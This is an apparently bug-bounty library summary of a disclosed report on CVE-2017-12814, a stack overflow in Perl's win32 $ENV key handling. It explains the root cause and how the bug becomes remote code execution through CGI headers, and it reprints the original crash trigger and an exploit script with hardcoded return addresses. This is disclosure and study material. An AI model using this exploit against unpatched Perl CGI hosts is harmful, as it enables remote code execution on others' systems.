# Perl $ENV Key Stack Buffer Overflow

Unbounded $ENV key copied into fixed 1024-byte stack buffer in Perl's win32 CPerlHost::Add, enabling stack overflow and RCE via crafted environment keys.

- Payout: $1,500
- Severity: high
- Program: Internet Bug Bounty
- Found by: johnleitch
- Disclosed: 2019-11-12
- CVE: CVE-2017-12814
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/272497
- Library page: https://bugbountylibrary.com/r/h1%3A272497
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:high tech:windows technique:reverse-engineering technique:source-review vuln:memory-corruption vuln:rce

**Target:** Perl win32 CPerlHost::Add ($ENV key handling)
**Root cause:** CPerlHost::Add copies the $ENV key into a fixed char szBuffer[1024] without bounds checking, so keys longer than 1024 bytes overflow the stack.
**Steps:**
1. On a win32 Perl build, run `$ENV{"A" x (0x1000)} = 0;` to trigger the overflow.
2. Observe stack corruption/crash from the oversized key.
3. Craft key payload with return address overwrite: `"\x41\x41\x41\x41" . "\x78\x6e\x3b\x6e" . "\x43\x43\x43\x43" . "\x4e\x1d\x1e\x03" . "\x45\x45\x45\x45" . "\x46\x46\x46\x46" . "\x47\x47\x47\x47" . "\x30\x2c\x3a\x6e"` repeated to fill `(0x400+0x4*0x10)/length` bytes.
4. Assign via `$ENV{$chars x N} = 0;` to hijack control flow to perl526!exit / win32_getpid.
**How found:** Code review of win32\perlhost.h CPerlHost::Add revealed the loop copying lpStr into szBuffer[1024] without length validation; confirmed by testing oversized $ENV keys on win32 builds.
**Exploitation:** Overwrite the saved return address on the stack with a controlled value pointing to perl526!exit (6E3B6E78) and set exit code via the value 52305230; works because Strawberry/ActiveState Perl builds lack stack canaries and ASLR. Reachable via CGI-BIN custom HTTP headers mapped into $ENV.
**Escalation:** Exposed $ENV via CGI-BIN custom HTTP headers turns the overflow into remote arbitrary code execution.
**Insight:** Environment variable keys are attacker-controlled in CGI contexts (HTTP_* headers); audit any fixed-size stack buffer that copies env keys/names, and check whether the target binary lacks canaries/ASLR to make overflow-to-RCE practical.

## Proof of concept (copied exactly from the original report)

**Perl script overflowing $ENV key**

```
print "Starting\r\n";
$ENV{"A" x (0x1000)} = 0;
print "Done\r\n";
```

**Exploit script with ROP addresses**

```
print "Starting\r\n";

$chars =
    "\x41\x41\x41\x41" .
    "\x78\x6e\x3b\x6e" .    # perl526!exit (6E3B6E78)
    "\x43\x43\x43\x43" .
    "\x4e\x1d\x1e\x03" .    # exit code (52305230)
    "\x45\x45\x45\x45" . 
    "\x46\x46\x46\x46" . 
    "\x47\x47\x47\x47" . 
    "\x30\x2c\x3a\x6e";     # perl526!win32_getpid (6e3a2c30)

$ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0;
```

